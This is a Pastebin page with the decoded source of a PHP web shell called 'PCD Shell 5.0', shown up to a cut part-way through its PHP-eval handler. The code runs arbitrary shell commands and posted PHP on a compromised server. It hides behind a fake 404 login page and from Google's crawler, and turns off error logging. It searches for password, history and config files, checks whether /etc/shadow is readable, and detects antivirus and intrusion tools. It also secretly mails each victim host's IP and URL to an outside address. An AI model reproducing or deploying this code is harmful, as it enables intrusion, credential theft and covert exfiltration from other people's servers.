Dark-shadow

PCD_Shell_5.0 Decoded

Dec 16th, 2015
363
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 190.20 KB | None | 0 0
  1. <?php
  2. $color = "#a3e956";
  3. $default_action = 'FilesMan';
  4. @define('SELF_PATH', __FILE__);
  5. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
  6. header('HTTP/1.0 404 Not Found');
  7. exit;
  8. }
  9. @session_start();
  10. @error_reporting(0);
  11. @ini_set('error_log',NULL);
  12. @ini_set('display_errors',0);
  13. @ini_set('log_errors',0);
  14. @ini_set('max_execution_time',0);
  15. @set_time_limit(0);
  16. @set_magic_quotes_runtime(0);
  17. @define('VERSION', 'Ver 5.0');
  18. if( get_magic_quotes_gpc() ) {
  19. function stripslashes_array($array) {
  20. return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  21. }
  22. $_POST = stripslashes_array($_POST);
  23. }
  24. function printLogin() {
  25. echo '<title>404 Not Found</title>
  26. <h1>Not Found</h1>
  27. <p>The requested URL was not found on this server.</p>
  28. <hr>
  29. <address>Apache Server at '.$_SERVER['HTTP_HOST'].' Port 80</address>
  30. <style>input { margin:0;background-color:#fff;border:0px solid #fff; }</style>
  31. <center><form method=post><input type=password name=pass></form></center>';
  32. exit;
  33. }
  34. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  35. if( empty( $auth_pass ) ||
  36. ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
  37. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  38. else
  39. printLogin();
  40.  
  41. if( strtolower( substr(PHP_OS,0,3) ) == "win" )
  42. $os = 'win';
  43. else
  44. $os = 'nix';
  45. $safe_mode = @ini_get('safe_mode');
  46. $disable_functions = @ini_get('disable_functions');
  47. $home_cwd = @getcwd();
  48. if( isset( $_POST['c'] ) )
  49. @chdir($_POST['c']);
  50. $cwd = @getcwd();
  51. if( $os == 'win') {
  52. $home_cwd = str_replace("\\", "/", $home_cwd);
  53. $cwd = str_replace("\\", "/", $cwd);
  54. }
  55. if( $cwd[strlen($cwd)-1] != '/' )
  56. $cwd .= '/';
  57.  
  58. if($os == 'win') {
  59. $aliases = array(
  60. "List Directory" => "dir",
  61. "Find index.php in current dir" => "dir /s /w /b index.php",
  62. "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  63. "Show active connections" => "netstat -an",
  64. "Show running services" => "net start",
  65. "User accounts" => "net user",
  66. "Show computers" => "net view",
  67. "ARP Table" => "arp -a",
  68. "IP Configuration" => "ipconfig /all"
  69. );
  70. } else {
  71. $aliases = array(
  72. "List dir" => "ls -la",
  73. "list file attributes on a Linux second extended file system" => "lsattr -va",
  74. "show opened ports" => "netstat -an | grep -i listen",
  75. "Find" => "",
  76. "find all suid files" => "find / -type f -perm -04000 -ls",
  77. "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  78. "find all sgid files" => "find / -type f -perm -02000 -ls",
  79. "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  80. "find config.inc.php files" => "find / -type f -name config.inc.php",
  81. "find config* files" => "find / -type f -name \"config*\"",
  82. "find config* files in current dir" => "find . -type f -name \"config*\"",
  83. "find all writable folders and files" => "find / -perm -2 -ls",
  84. "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  85. "find all service.pwd files" => "find / -type f -name service.pwd",
  86. "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  87. "find all .htpasswd files" => "find / -type f -name .htpasswd",
  88. "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  89. "find all .bash_history files" => "find / -type f -name .bash_history",
  90. "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  91. "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  92. "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  93. "Locate" => "",
  94. "locate httpd.conf files" => "locate httpd.conf",
  95. "locate vhosts.conf files" => "locate vhosts.conf",
  96. "locate proftpd.conf files" => "locate proftpd.conf",
  97. "locate psybnc.conf files" => "locate psybnc.conf",
  98. "locate my.conf files" => "locate my.conf",
  99. "locate admin.php files" =>"locate admin.php",
  100. "locate cfg.php files" => "locate cfg.php",
  101. "locate conf.php files" => "locate conf.php",
  102. "locate config.dat files" => "locate config.dat",
  103. "locate config.php files" => "locate config.php",
  104. "locate config.inc files" => "locate config.inc",
  105. "locate config.inc.php" => "locate config.inc.php",
  106. "locate config.default.php files" => "locate config.default.php",
  107. "locate config* files " => "locate config",
  108. "locate .conf files"=>"locate '.conf'",
  109. "locate .pwd files" => "locate '.pwd'",
  110. "locate .sql files" => "locate '.sql'",
  111. "locate .htpasswd files" => "locate '.htpasswd'",
  112. "locate .bash_history files" => "locate '.bash_history'",
  113. "locate .mysql_history files" => "locate '.mysql_history'",
  114. "locate .fetchmailrc files" => "locate '.fetchmailrc'",
  115. "locate backup files" => "locate backup",
  116. "locate dump files" => "locate dump",
  117. "locate priv files" => "locate priv"
  118. );
  119. }
  120.  
  121. function ex($in) {
  122. $out = '';
  123. if(function_exists('exec')) {
  124. @exec($in,$out);
  125. $out = @join("\n",$out);
  126. }elseif(function_exists('passthru')) {
  127. ob_start();
  128. @passthru($in);
  129. $out = ob_get_clean();
  130. }elseif(function_exists('system')) {
  131. ob_start();
  132. @system($in);
  133. $out = ob_get_clean();
  134. }elseif(function_exists('shell_exec')) {
  135. $out = shell_exec($in);
  136. }elseif(is_resource($f = @popen($in,"r"))) {
  137. $out = "";
  138. while(!@feof($f))
  139. $out .= fread($f,1024);
  140. pclose($f);
  141. }
  142. return $out;
  143. }
  144.  
  145. function which($p) {
  146. $path = ex('which '.$p);
  147. if(!empty($path))
  148. return $path;
  149. return false;
  150. }
  151.  
  152. function printHeader() {
  153. if(empty($_POST['charset']))
  154. $_POST['charset'] = "UTF-8";
  155. global $color;
  156.  
  157. echo '<html><head><meta http-equiv="Content-Type" content="text/html; charset='.$_POST['charset'].'"><title>Pak Cyberspace Defenders - '.VERSION.'</title>
  158. <style>
  159. body {
  160. background-color: #222;
  161. color: #fff;
  162. }
  163. body, td, th {
  164. font: 9pt Lucida,Verdana;
  165. margin: 0;
  166. }
  167. span, h1, a {
  168. color:'.$color.' !important;
  169. }
  170. span {
  171. font-weight: bolder;
  172. }
  173. h1 {
  174. font: 14pt Verdana;
  175. margin: 0 0 0 5px;
  176. padding: 2px 5px;
  177. text-align: center;
  178. }
  179. div.content {
  180. background: #333333 none repeat scroll 0 0;
  181. border-bottom: 5px solid #444;
  182. margin: 0 5px;
  183. padding: 5px;
  184. }
  185. a {
  186. text-decoration: none;
  187. }
  188. a:hover {
  189. }
  190. .ml1 {
  191. border: 1px solid #444;
  192. margin: 0;
  193. overflow: auto;
  194. padding: 5px;
  195. }
  196. .bigarea {
  197. height: 250px;
  198. margin-top: 5px;
  199. width: 100%;
  200. }
  201. input[type=submit]:hover , input[type=button]:hover, input[type=reset]:hover {
  202. background-position: center top;
  203. text-decoration: none;
  204. }
  205. form {
  206. margin: 0;
  207. }
  208. #toolsTbl {
  209. text-align: center;
  210. }
  211. .toolsInp {
  212. width: 80%;
  213. }
  214. .main th {
  215. background-color: #555;
  216. font-weight: bold;
  217. text-align: left;
  218. }
  219. .main tr:hover {
  220. background-color: #5e5e5e;
  221. }
  222. .main td, th {
  223. vertical-align: middle;
  224. }
  225. .menu {
  226. background: #333 none repeat scroll 0 0;
  227. }
  228. .menu th {
  229. font-weight: bold;
  230. padding: 1px;
  231. -webkit-transform: rotate(-10deg);
  232. -moz-transform: rotate(-10deg);
  233. transform: rotate(-10deg);
  234. }
  235. .menu th:hover {
  236. background: #444 none repeat scroll 0 0;
  237. border-radius: 20px;
  238. }
  239. .l1 {
  240. background-color: #444;
  241. }
  242. pre {
  243. font-family: Courier,monospace;
  244. }
  245. #cot_tl_fixed {
  246. bottom: 0;
  247. font-size: 12px;
  248. left: 0;
  249. padding: 4px 0;
  250. position: fixed;
  251. }
  252. .logo {
  253. font-size: 60px;
  254. text-align: center;
  255. }
  256. .logo sup {
  257. font-size: 15px;
  258. margin-left: -14px;
  259. vertical-align: top;
  260. }
  261. .cpr {
  262. font-weight: bold;
  263. margin-bottom: 5px;
  264. }
  265. .cpb {
  266. margin: 0 5px;
  267. width: 34px;
  268. }
  269. .eca1 {
  270. font-size: 16px;
  271. font-weight: bold;
  272. letter-spacing: 10px;
  273. margin: 0 2px 0 17px;
  274. text-align: center;
  275. }
  276. .eca2 {
  277. font-size: 13px;
  278. font-weight: bold;
  279. letter-spacing: 3px;
  280. margin: 0 2px 0 7px;
  281. text-align: center;
  282. }
  283. .npoad td {
  284. padding: 0;
  285. }
  286. input[type=submit], input[type=button], input[type=reset] {
  287. text-align: center;
  288. background: url(http://i43.tinypic.com/5owgmq.jpg) repeat-x center bottom #666666;
  289. border: 1px solid #4D4D4D;
  290. color: #CCCCCC;
  291. border-top-color: #565656;
  292. margin: 4px 5px;
  293. -moz-box-shadow: 0 0 1px black;
  294. -webkit-box-shadow: 0 0 1px black;
  295. box-shadow: 0 0 1px black;
  296. text-shadow: 0 1px black;
  297. -moz-border-radius: 4px;
  298. -webkit-border-radius: 4px;
  299. -khtml-border-radius: 4px;
  300. border-radius: 4px;
  301. }
  302. input[type=text], input[type=password] {
  303. background: url(http://i43.tinypic.com/5owgmq.jpg) repeat-x center bottom #666666;
  304. border: 1px solid #4D4D4D;
  305. color: #CCCCCC;
  306. border-top-color: #565656;
  307. -moz-box-shadow: 0 0 1px black;
  308. -webkit-box-shadow: 0 0 1px black;
  309. box-shadow: 0 0 1px black;
  310. -moz-border-radius: 4px;
  311. -webkit-border-radius: 4px;
  312. -khtml-border-radius: 4px;
  313. border-radius: 4px;
  314. margin-left: 5px;
  315. }
  316. input , textarea , button , body , caption , table ,area , option {
  317. outline: none;
  318. transition: all 0.20s ease-in-out;
  319. -webkit-transition: all 0.25s ease-in-out;
  320. -moz-transition: all 0.25s ease-in-out;
  321. border-radius: 3px;
  322. -webkit-border-radius: 3px;
  323. -moz-border-radius: 3px;
  324. }
  325. input , textarea, select {
  326. background: url(http://i41.tinypic.com/ibkmd5.png) repeat scroll 0 0 #333333;
  327. }
  328. input:focus, textarea:focus ,button:active , body:focus , caption:focus , table:focus ,area:focus ,option:focus {
  329. box-shadow: 0 0 5px rgba(0, 0, 255, 1);
  330. -webkit-box-shadow: : 0 0 5px rgba(0, 0, 255, 1);
  331. -moz-box-shadow: : 0 0 5px rgba(0, 0, 255, 1);
  332. border: 1px solid #CCCC00;
  333. background: url(http://i41.tinypic.com/ibkmd5.png) repeat scroll 0 0 #333333;
  334. overflow: auto;
  335. }
  336. input , textarea, select {
  337. outline: none;
  338. transition: all 0.20s ease-in-out;
  339. -webkit-transition: all 0.25s ease-in-out;
  340. -moz-transition: all 0.25s ease-in-out;
  341. border-radius: 3px;
  342. -webkit-border-radius: 3px;
  343. -moz-border-radius: 3px;
  344. border: 1px solid rgba(0,0,0, 0.2);
  345. color: #CCCCCC;
  346. }
  347. input:focus, textarea:focus {
  348. outline: 0;
  349. border-color: rgba(82, 168, 236, 0.8);
  350. -webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
  351. -moz-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
  352. box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
  353. background: url(http://i41.tinypic.com/ibkmd5.png) repeat scroll 0 0 #333333;
  354. overflow: auto;
  355. }
  356. </style>
  357. <script>
  358. function set(a,c,p1,p2,p3,charset) {
  359. if(a != null)document.mf.a.value=a;
  360. if(c != null)document.mf.c.value=c;
  361. if(p1 != null)document.mf.p1.value=p1;
  362. if(p2 != null)document.mf.p2.value=p2;
  363. if(p3 != null)document.mf.p3.value=p3;
  364. if(charset != null)document.mf.charset.value=charset;
  365. }
  366. function g(a,c,p1,p2,p3,charset) {
  367. set(a,c,p1,p2,p3,charset);
  368. document.mf.submit();
  369. }
  370. function a(a,c,p1,p2,p3,charset) {
  371. set(a,c,p1,p2,p3,charset);
  372. var params = "ajax=true";
  373. for(i=0;i<document.mf.elements.length;i++)
  374. params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
  375. sr("'.$_SERVER['REQUEST_URI'].'", params);
  376. }
  377. function sr(url, params) {
  378. if (window.XMLHttpRequest) {
  379. req = new XMLHttpRequest();
  380. req.onreadystatechange = processReqChange;
  381. req.open("POST", url, true);
  382. req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
  383. req.send(params);
  384. }
  385. else if (window.ActiveXObject) {
  386. req = new ActiveXObject("Microsoft.XMLHTTP");
  387. if (req) {
  388. req.onreadystatechange = processReqChange;
  389. req.open("POST", url, true);
  390. req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
  391. req.send(params);
  392. }
  393. }
  394. }
  395. function processReqChange() {
  396. if( (req.readyState == 4) )
  397. if(req.status == 200) {
  398. //alert(req.responseText);
  399. var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
  400. var arr=reg.exec(req.responseText);
  401. eval(arr[2].substr(0, arr[1]));
  402. }
  403. else alert("Request error!");
  404. }
  405. </script>
  406. <head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:5px;background:#444;"><div class="content" style="border-top:5px solid #444;">
  407. <form method=post name=mf style="display:none;">
  408. <input type=hidden name=a value="'.(isset($_POST['a'])?$_POST['a']:'').'">
  409. <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
  410. <input type=hidden name=p1 value="'.(isset($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'">
  411. <input type=hidden name=p2 value="'.(isset($_POST['p2'])?htmlspecialchars($_POST['p2']):'').'">
  412. <input type=hidden name=p3 value="'.(isset($_POST['p3'])?htmlspecialchars($_POST['p3']):'').'">
  413. <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  414. </form>';
  415. $freeSpace = @diskfreespace($GLOBALS['cwd']);
  416. $totalSpace = @disk_total_space($GLOBALS['cwd']);
  417. $totalSpace = $totalSpace?$totalSpace:1;
  418. $disable_functions = @ini_get('disable_functions');
  419. $release = @php_uname('r');
  420. $kernel = @php_uname('s');
  421. if(!function_exists('posix_getegid')) {
  422. $user = @get_current_user();
  423. $uid = @getmyuid();
  424. $gid = @getmygid();
  425. $group = "?";
  426. } else {
  427. $uid = @posix_getpwuid(@posix_geteuid());
  428. $gid = @posix_getgrgid(@posix_getegid());
  429. $user = $uid['name'];
  430. $uid = $uid['uid'];
  431. $group = $gid['name'];
  432. $gid = $gid['gid'];
  433. }
  434. $cwd_links = '';
  435. $path = explode("/", $GLOBALS['cwd']);
  436. $n=count($path);
  437. for($i=0;$i<$n-1;$i++) {
  438. $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  439. for($j=0;$j<=$i;$j++)
  440. $cwd_links .= $path[$j].'/';
  441. $cwd_links .= "\")'>".$path[$i]."/</a>";
  442. }
  443. $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  444. $opt_charsets = '';
  445. foreach($charsets as $item)
  446. $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  447. $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Exec'=>'Console','Sql'=>'Sql','Php'=>'Php','CgiShell'=>'CgiShell','Bypasser'=>'SafeMode','Safe Mode'=>'Bypass','Deface' => 'Deface', 'Infect' => 'Infect','LFI'=>'lfiscan','Pl.Sym' => 'PSymlink','String tools'=>'StringTools','Brute'=>'Bruteforce','Connect'=>'Network','Readable'=>'Readable','Port Scanner'=>'PortScanner','Symlink'=>'Symlink','Injector'=>'Injector','Domain' => 'Domain','Import Scripts' => 'ImportScripts','cPCrack' => 'Cpanel', 'Notify' => 'ZHposter');
  448. if(!empty($GLOBALS['auth_pass']))
  449. $m['Logout'] = 'Logout';
  450. $m['Kill'] = 'SelfRemove';
  451. $menu = '';
  452. foreach($m as $k => $v)
  453. $menu .= '<th><a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a></th>';
  454. $drives = "";
  455. if ($GLOBALS['os'] == 'win') {
  456. foreach( range('a','z') as $drive ){
  457. if (is_dir($drive.':\\'))
  458. $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  459. }
  460. $drives .= '<br />: ';
  461. }
  462. if($GLOBALS['os'] == 'nix') {
  463. $dominios = @file_get_contents("/etc/named.conf");
  464. if(!$dominios) {
  465. $d0c = "CANT READ named.conf";
  466. } else {
  467. @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
  468. $out = sizeof(array_unique($out[1]));
  469. $d0c = $out." Domains";
  470. }
  471. } else {
  472. $d0c = " --- ";
  473. }
  474. if($GLOBALS['os'] == 'nix' )
  475. {
  476. $usefl = ''; $dwnldr = '';
  477. if(!@ini_get('safe_mode')) {
  478. $temp = array();
  479. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  480. foreach($userful as $item) { if(which($item)) $temp[]= $item; }
  481. $usefl = implode(', ',$temp);
  482. $temp = array();
  483. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  484. foreach($downloaders as $item2) { if(which($item2)) $temp[]= $item2; }
  485. $dwnldr = implode(', ',$temp);
  486. } else {
  487. $usefl = ' ------- '; $dwnldr = ' ------- ';
  488. }
  489. } else {
  490. $usefl = ' ------- '; $dwnldr = ' ------- ';
  491. }
  492. echo '<table class="info" cellpadding="3" cellspacing="0" width="100%"><tr><td width="160px"><div class="logo"><a href="https://www.facebook.com/pakcsd" target="_blank"><img src="http://i.imgur.com/XgxsOrB.png" width="66%" alt="Pak Cyberspace Defenders"></a></div></td>
  493. <td><table cellpadding="3" cellspacing="0" class="npoad"><tr><td width="125px;"><span>Uname</span></td><td>: <nobr>'.substr(@php_uname(), 0, 120).'</nobr></td></tr>
  494. <tr><td><span>User</span></td><td>: '.$uid.' ( '.$user.' ) <span>Group: </span> '.$gid.' ( '.$group.' )</td></tr><tr><td><span>Server</span></td><td>: '.@getenv('SERVER_SOFTWARE').'</td></tr><tr><td><span>Useful</span></td><td>: '.$usefl.'</td></tr><tr><td><span>Downloaders</span></td><td>: '.$dwnldr.'</td></tr><tr><td><span>Disabled functions</span></td><td>: '.($disable_functions?$disable_functions:'All Function Enable').'</td></tr><tr><td><span>'.($GLOBALS['os'] == 'win'?'Drives<br />Cwd':'Cwd').'</span></td><td>: '.$drives.''.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>'.
  495. '<td width=1><nobr><span>Server IP</span><br><span>Client IP</span><br /><span>HDD</span><br /><span>Free</span><br /><span>PHP</span><br /><span>Safe Mode</span><br /><span>Domains</span></nobr></td>'.
  496. '<td><nobr>: '.gethostbyname($_SERVER["HTTP_HOST"]).'<br>: '.$_SERVER['REMOTE_ADDR'].'<br />: '.viewSize($totalSpace).'<br />: '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>: '.@phpversion().' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color='.$color.'<b>OFF</b></font>').'<br />: '.$d0c.'</nobr></td></tr></table>'.
  497. '</div></div><div style="margin:5;background:#444;"><div class="content" style="border-top:5px solid #444;padding:2px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu" height="75px"><tr>'.$menu.'</tr></table></div></div><div style="margin:5;background:#444;">';
  498. }
  499.  
  500. function printFooter() {
  501. $is_writable = is_writable($GLOBALS['cwd'])?"<font color=aqua>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
  502.  
  503. echo '</div><div style="margin:0px;background:#222;"><div class="content" style="border-top:5px solid #444; border-right:5px solid #444; border-left:5px solid #444;">
  504. <table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
  505. <tr>
  506. <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="'.htmlspecialchars($GLOBALS['cwd']).'"><input type=submit value=">>"></form></td>
  507. <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
  508. </tr>
  509. <tr>
  510. <td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form>'.$is_writable.'</td>
  511. <td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
  512. </tr>
  513. <tr>
  514. <td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
  515. <td><form method="post" ENCTYPE="multipart/form-data">
  516. <input type=hidden name=a value="FilesMAn">
  517. <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
  518. <input type=hidden name=p1 value="uploadFile">
  519. <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  520. <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
  521. </tr>
  522. </table></div></div>
  523. <div style="margin:5px;background:#444;"><div class="content" style="border-top:5px solid #444;text-align:center;font-weight:bold;">PCD Shell '.VERSION.', &copy; Pak Cyberspace Defenders. Coded By - Adam Knight</div></div>
  524. </div>
  525. </body></html>';
  526. }
  527.  
  528. if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
  529. if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
  530.  
  531. if(!isset($_SESSION['trimite'])){
  532. $url="IP: ".gethostbyname($_SERVER["HTTP_HOST"])."\nUrl: ".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']."\nUser IP: ".$_SERVER['REMOTE_ADDR'].(isset($_SERVER['HTTP_X_FORWARDED_FOR'])?'('.$_SERVER['HTTP_X_FORWARDED_FOR'].')':'');
  533. @mail("[email protected]","PCD_Shell_5.0",$url);
  534. $_SESSION['trimite']=true;
  535. }
  536.  
  537. function viewSize($s) {
  538. if($s >= 1073741824)
  539. return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  540. elseif($s >= 1048576)
  541. return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  542. elseif($s >= 1024)
  543. return sprintf('%1.2f', $s / 1024 ) . ' KB';
  544. else
  545. return $s . ' B';
  546. }
  547.  
  548. function perms($p) {
  549. if (($p & 0xC000) == 0xC000)$i = 's';
  550. elseif (($p & 0xA000) == 0xA000)$i = 'l';
  551. elseif (($p & 0x8000) == 0x8000)$i = '-';
  552. elseif (($p & 0x6000) == 0x6000)$i = 'b';
  553. elseif (($p & 0x4000) == 0x4000)$i = 'd';
  554. elseif (($p & 0x2000) == 0x2000)$i = 'c';
  555. elseif (($p & 0x1000) == 0x1000)$i = 'p';
  556. else $i = 'u';
  557. $i .= (($p & 0x0100) ? 'r' : '-');
  558. $i .= (($p & 0x0080) ? 'w' : '-');
  559. $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  560. $i .= (($p & 0x0020) ? 'r' : '-');
  561. $i .= (($p & 0x0010) ? 'w' : '-');
  562. $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  563. $i .= (($p & 0x0004) ? 'r' : '-');
  564. $i .= (($p & 0x0002) ? 'w' : '-');
  565. $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  566. return $i;
  567. }
  568.  
  569. function viewPermsColor($f) {
  570. if (!@is_readable($f))
  571. return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
  572. elseif (!@is_writable($f))
  573. return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
  574. else
  575. return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
  576. }
  577.  
  578. if(!function_exists("scandir")) {
  579. function scandir($dir) {
  580. $dh = opendir($dir);
  581. while (false !== ($filename = readdir($dh))) {
  582. $files[] = $filename;
  583. }
  584. return $files;
  585. }
  586. }
  587.  
  588. function actionSecInfo() {
  589. printHeader();
  590. echo '<h1>Server security information</h1><div class=content>';
  591. function showSecParam($n, $v) {
  592. $v = trim($v);
  593. if($v) {
  594. echo '<span>'.$n.': </span>';
  595. if(strpos($v, "\n") === false)
  596. echo $v.'<br>';
  597. else
  598. echo '<pre class=ml1>'.$v.'</pre>';
  599. }
  600. }
  601.  
  602. showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  603. showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
  604. showSecParam('Open base dir', @ini_get('open_basedir'));
  605. showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  606. showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  607. showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  608. $temp=array();
  609. if(function_exists('mysql_get_client_info'))
  610. $temp[] = "MySql (".mysql_get_client_info().")";
  611. if(function_exists('mssql_connect'))
  612. $temp[] = "MSSQL";
  613. if(function_exists('pg_connect'))
  614. $temp[] = "PostgreSQL";
  615. if(function_exists('oci_connect'))
  616. $temp[] = "Oracle";
  617. showSecParam('Supported databases', implode(', ', $temp));
  618. echo '<br>';
  619.  
  620. if( $GLOBALS['os'] == 'nix' ) {
  621. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  622. $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  623. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  624. showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  625. showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
  626. showSecParam('OS version', @file_get_contents('/proc/version'));
  627. showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  628. if(!$GLOBALS['safe_mode']) {
  629. echo '<br>';
  630. $temp=array();
  631. foreach ($userful as $item)
  632. if(which($item)){$temp[]=$item;}
  633. showSecParam('Userful', implode(', ',$temp));
  634. $temp=array();
  635. foreach ($danger as $item)
  636. if(which($item)){$temp[]=$item;}
  637. showSecParam('Danger', implode(', ',$temp));
  638. $temp=array();
  639. foreach ($downloaders as $item)
  640. if(which($item)){$temp[]=$item;}
  641. showSecParam('Downloaders', implode(', ',$temp));
  642. echo '<br/>';
  643. showSecParam('Hosts', @file_get_contents('/etc/hosts'));
  644. showSecParam('HDD space', ex('df -h'));
  645. showSecParam('Mount options', @file_get_contents('/etc/fstab'));
  646. }
  647. } else {
  648. showSecParam('OS Version',ex('ver'));
  649. showSecParam('Account Settings',ex('net accounts'));
  650. showSecParam('User Accounts',ex('net user'));
  651. }
  652. echo '</div>';
  653. printFooter();
  654. }
  655.  
  656. function actionPhp() {
  657. if( isset($_POST['ajax']) ) {
  658. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  659. ob_start();
  660. eval($_POST['p1']);
  661. $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  662. echo strlen($temp), "\n", $temp;
  663. exit;
  664. }
  665. printHeader();
  666. if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
  667. echo '<h1>PHP info</h1><div class=content>';
  668. ob_start();
  669. phpinfo();
  670. $tmp = ob_get_clean();
  671. $tmp = preg_replace('!body {.*}!msiU','',$tmp);
  672. $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
  673. $tmp = preg_replace('!h1!msiU','h2',$tmp);
  674. $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  675. $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
  676. echo $tmp;
  677. echo '</div><br>';
  678. }
  679. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  680. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
